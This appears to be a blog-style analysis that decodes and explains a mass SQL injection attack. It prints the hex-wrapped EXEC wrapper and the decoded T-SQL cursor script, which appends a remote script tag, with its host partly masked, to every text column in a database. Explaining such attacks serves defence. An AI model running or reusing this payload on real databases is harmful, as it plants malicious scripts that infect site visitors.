This looks a little complicated but, if we remove the encoding, we get this:

DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));
EXEC(@S);--

So, here's what this little bit of T-SQL is doing:

Declaring a variable, S, as an NVARCHAR. For those of us who don't speak T-SQL natively, think of this as a string.
Taking a long hex value (I took out a few hundred characters where the ... is there) that is really a Unicode string(1) and casting it as NVARCHAR. In other words, we're taking this hex representation of a string and turning it into a real string.
Once that's done, we execute that string as a T-SQL statement.
So, of course, the next question is "What is that string?" Here it is, with a bit of sanitization:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.211796*.net/f****p.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

This one is a little more complicated but it does something like this:

Declare a few variables that are used later.
Do a SQL query on the sysobjects and syscolumns tables. This is some serious mojo as these tables contain a list of ALL the tables and ALL the columns in the database. What this query is looking for is every column in the entire database with a type that contains strings.
Now, we're going to loop through all of those columns and, in every one of them...
...we're going to append the <script>...</script> text.
Finally, clean up and we're done.
Now that this has run, every bit of text in your database has this malicious script tag appended to it. If you're using that database to contain text/HTML that you're going to insert into your webpages and display to your users, you are now serving up a malicious script to every one of your trusting customers.